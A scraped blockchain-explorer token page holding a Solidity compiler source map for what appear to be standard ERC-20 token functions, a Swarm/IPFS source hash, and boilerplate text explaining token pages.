i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18778:83;:::o;19961:169::-;20044:4;20061:39;17226:10;20084:7;20093:6;20061:8;:39::i;:::-;-1:-1:-1;20118:4:0;19961:169;;;;;:::o;19473:321::-;19579:4;19596:36;19606:6;19614:9;19625:6;19596:9;:36::i;:::-;19643:121;19652:6;17226:10;19674:89;19712:6;19674:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19674:19:0;;;;;;:11;:19;;;;;;;;17226:10;19674:33;;;;;;;;;;:37;:89::i;:::-;19643:8;:121::i;:::-;-1:-1:-1;19782:4:0;19473:321;;;;;:::o;18869:87::-;18908:13;18941:7;18934:14;;;;;:::i;19290:175::-;19376:4;19393:42;17226:10;19417:9;19428:6;19393:9;:42::i;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;14581:240::-;14701:7;14762:12;14754:6;;;;14746:29;;;;-1:-1:-1;;;14746:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;20460:344::-;-1:-1:-1;;;;;20562:19:0;;20554:68;;;;-1:-1:-1;;;20554:68:0;;5735:2:1;20554:68:0;;;5717:21:1;5774:2;5754:18;;;5747:30;5813:34;5793:18;;;5786:62;5884:6;5864:18;;;5857:34;5908:19;;20554:68:0;5533:400:1;20554:68:0;-1:-1:-1;;;;;20641:21:0;;20633:68;;;;-1:-1:-1;;;20633:68:0;;6140:2:1;20633:68:0;;;6122:21:1;6179:2;6159:18;;;6152:30;6218:34;6198:18;;;6191:62;6289:4;6269:18;;;6262:32;6311:19;;20633:68:0;5938:398:1;20633:68:0;-1:-1:-1;;;;;20712:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20764:32;;2798:25:1;;;20764:32:0;;2771:18:1;20764:32:0;;;;;;;;20460:344;;;:::o;20812:477::-;-1:-1:-1;;;;;20918:20:0;;20910:70;;;;-1:-1:-1;;;20910:70:0;;6543:2:1;20910:70:0;;;6525:21:1;6582:2;6562:18;;;6555:30;6621:34;6601:18;;;6594:62;6692:7;6672:18;;;6665:35;6717:19;;20910:70:0;6341:401:1;20910:70:0;-1:-1:-1;;;;;20999:23:0;;20991:71;;;;-1:-1:-1;;;20991:71:0;;6949:2:1;20991:71:0;;;6931:21:1;6988:2;6968:18;;;6961:30;7027:34;7007:18;;;7000:62;7098:5;7078:18;;;7071:33;7121:19;;20991:71:0;6747:399:1;20991:71:0;21093;21115:6;21093:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21093:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;21073:17:0;;;:9;:17;;;;;;;;;;;:91;;;;21198:20;;;;;;;:32;;21223:6;21198:24;:32::i;:::-;-1:-1:-1;;;;;21175:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;21246:35;2798:25:1;;;21175:20:0;;21246:35;;;;;;2771:18:1;21246:35:0;2652:177:1;14:184;-1:-1:-1;;;63:1:1;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:196;271:20;;-1:-1:-1;;;;;320:54:1;;310:65;;300:93;;389:1;386;379:12;300:93;203:196;;;:::o;404:1180::-;488:6;519:2;562;550:9;541:7;537:23;533:32;530:52;;;578:1;575;568:12;530:52;618:9;605:23;647:18;688:2;680:6;677:14;674:34;;;704:1;701;694:12;674:34;742:6;731:9;727:22;717:32;;787:7;780:4;776:2;772:13;768:27;758:55;;809:1;806;799:12;758:55;845:2;832:16;867:2;863;860:10;857:36;;;873:18;;:::i;:::-;919:2;916:1;912:10;951:2;945:9;-1:-1:-1;;1005:2:1;1001;997:11;993:84;985:6;981:97;1128:6;1116:10;1113:22;1108:2;1096:10;1093:18;1090:46;1087:72;;;1139:18;;:::i;:::-;1175:2;1168:22;1225:18;;;1259:15;;;;-1:-1:-1;1301:11:1;;;1297:20;;;1329:19;;;1326:39;;;1361:1;1358;1351:12;1326:39;1385:11;;;;1405:148;1421:6;1416:3;1413:15;1405:148;;;1487:23;1506:3;1487:23;:::i;:::-;1475:36;;1438:12;;;;1531;;;;1405:148;;;1572:6;404:1180;-1:-1:-1;;;;;;;;404:1180:1:o;1589:607::-;1701:4;1730:2;1759;1748:9;1741:21;1791:6;1785:13;1834:6;1829:2;1818:9;1814:18;1807:34;1859:1;1869:140;1883:6;1880:1;1877:13;1869:140;;;1978:14;;;1974:23;;1968:30;1944:17;;;1963:2;1940:26;1933:66;1898:10;;1869:140;;;1873:3;2058:1;2053:2;2044:6;2033:9;2029:22;2025:31;2018:42;2187:2;-1:-1:-1;;2112:2:1;2104:6;2100:15;2096:88;2085:9;2081:104;2077:113;2069:121;;;;1589:607;;;;:::o;2201:254::-;2269:6;2277;2330:2;2318:9;2309:7;2305:23;2301:32;2298:52;;;2346:1;2343;2336:12;2298:52;2369:29;2388:9;2369:29;:::i;:::-;2359:39;2445:2;2430:18;;;;2417:32;;-1:-1:-1;;;2201:254:1:o;2834:328::-;2911:6;2919;2927;2980:2;2968:9;2959:7;2955:23;2951:32;2948:52;;;2996:1;2993;2986:12;2948:52;3019:29;3038:9;3019:29;:::i;:::-;3009:39;;3067:38;3101:2;3090:9;3086:18;3067:38;:::i;:::-;3057:48;;3152:2;3141:9;3137:18;3124:32;3114:42;;2834:328;;;;;:::o;3587:186::-;3646:6;3699:2;3687:9;3678:7;3674:23;3670:32;3667:52;;;3715:1;3712;3705:12;3667:52;3738:29;3757:9;3738:29;:::i;3778:260::-;3846:6;3854;3907:2;3895:9;3886:7;3882:23;3878:32;3875:52;;;3923:1;3920;3913:12;3875:52;3946:29;3965:9;3946:29;:::i;:::-;3936:39;;3994:38;4028:2;4017:9;4013:18;3994:38;:::i;:::-;3984:48;;3778:260;;;;;:::o;4383:184::-;-1:-1:-1;;;4432:1:1;4425:88;4532:4;4529:1;4522:15;4556:4;4553:1;4546:15;4572:184;-1:-1:-1;;;4621:1:1;4614:88;4721:4;4718:1;4711:15;4745:4;4742:1;4735:15;4761:195;4800:3;4831:66;4824:5;4821:77;4818:103;;4901:18;;:::i;:::-;-1:-1:-1;4948:1:1;4937:13;;4761:195::o;4961:437::-;5040:1;5036:12;;;;5083;;;5104:61;;5158:4;5150:6;5146:17;5136:27;;5104:61;5211:2;5203:6;5200:14;5180:18;5177:38;5174:218;;-1:-1:-1;;;5245:1:1;5238:88;5349:4;5346:1;5339:15;5377:4;5374:1;5367:15;5174:218;;4961:437;;;:::o;5403:125::-;5468:9;;;5489:10;;;5486:36;;;5502:18;;:::i
Swarm Source
ipfs://fe617468df6669ae6547a5854f11666013a356155e7e42b172fc40babb1708ea
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.